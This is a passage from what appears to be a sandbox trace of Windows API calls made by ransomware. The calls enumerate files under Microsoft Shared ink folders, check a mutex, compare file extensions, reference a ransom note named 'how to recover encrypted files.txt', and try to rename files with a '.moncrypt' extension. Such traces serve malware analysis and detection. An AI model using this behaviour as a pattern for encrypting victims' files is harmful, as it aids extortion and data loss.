lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.031] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.031] GlobalLock (hMem=0x440004) returned 0x552180 [0046.031] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.031] GlobalUnlock (hMem=0x440004) returned 0 [0046.031] GlobalLock (hMem=0x440004) returned 0x552180 [0046.032] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.032] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.032] GlobalUnlock (hMem=0x440004) returned 0 [0046.032] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.032] GlobalUnlock (hMem=0x44000c) returned 0 [0046.032] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.032] CharLowerBuffW (in: lpsz="delete.avi", cchLength=0xa | out: lpsz="delete.avi") returned 0xa [0046.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.032] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.032] CharLowerBuffW (in: lpsz=".avi", cchLength=0x4 | out: lpsz=".avi") returned 0x4 [0046.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".avi", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".aviShared\\ink\\en-US\\delete.avi", lpUsedDefaultChar=0x0) returned 4 [0046.032] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 0x54e240 [0046.032] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0046.032] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0046.032] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi", dwFileAttributes=0x20) returned 0 [0046.035] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18潔瘱暼癀") returned 9 [0046.035] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.moncrypt")) returned 0 [0046.035] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.035] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.035] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.035] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.035] GlobalUnlock (hMem=0x44000c) returned 0 [0046.035] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.035] GlobalLock (hMem=0x440004) returned 0x554190 [0046.035] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.035] GlobalUnlock (hMem=0x44000c) returned 0 [0046.035] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.035] GlobalUnlock (hMem=0x440004) returned 0 [0046.035] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.035] CharLowerBuffW (in: lpsz="FlickLearningWizard.exe.mui", cchLength=0x1b | out: lpsz="flicklearningwizard.exe.mui") returned 0x1b [0046.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.035] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.036] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.036] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0046.036] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiShared\\ink\\en-US\\FlickLearningWizard.exe.mui ", lpUsedDefaultChar=0x0) returned 4 [0046.036] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.036] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.036] GlobalLock (hMem=0x440004) returned 0x552180 [0046.036] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.036] GlobalUnlock (hMem=0x440004) returned 0 [0046.036] GlobalLock (hMem=0x440004) returned 0x552180 [0046.036] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.036] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.036] GlobalUnlock (hMem=0x440004) returned 0 [0046.037] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.037] GlobalUnlock (hMem=0x44000c) returned 0 [0046.037] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.037] CharLowerBuffW (in: lpsz="InkObj.dll.mui", cchLength=0xe | out: lpsz="inkobj.dll.mui") returned 0xe [0046.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.037] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.037] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0046.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiShared\\ink\\en-US\\InkObj.dll.mui", lpUsedDefaultChar=0x0) returned 4 [0046.037] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.037] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.037] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.037] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.037] GlobalUnlock (hMem=0x44000c) returned 0 [0046.037] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.037] GlobalLock (hMem=0x440004) returned 0x554190 [0046.037] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.037] GlobalUnlock (hMem=0x44000c) returned 0 [0046.037] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.037] GlobalUnlock (hMem=0x440004) returned 0 [0046.038] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.038] CharLowerBuffW (in: lpsz="InkWatson.exe.mui", cchLength=0x11 | out: lpsz="inkwatson.exe.mui") returned 0x11 [0046.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.038] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 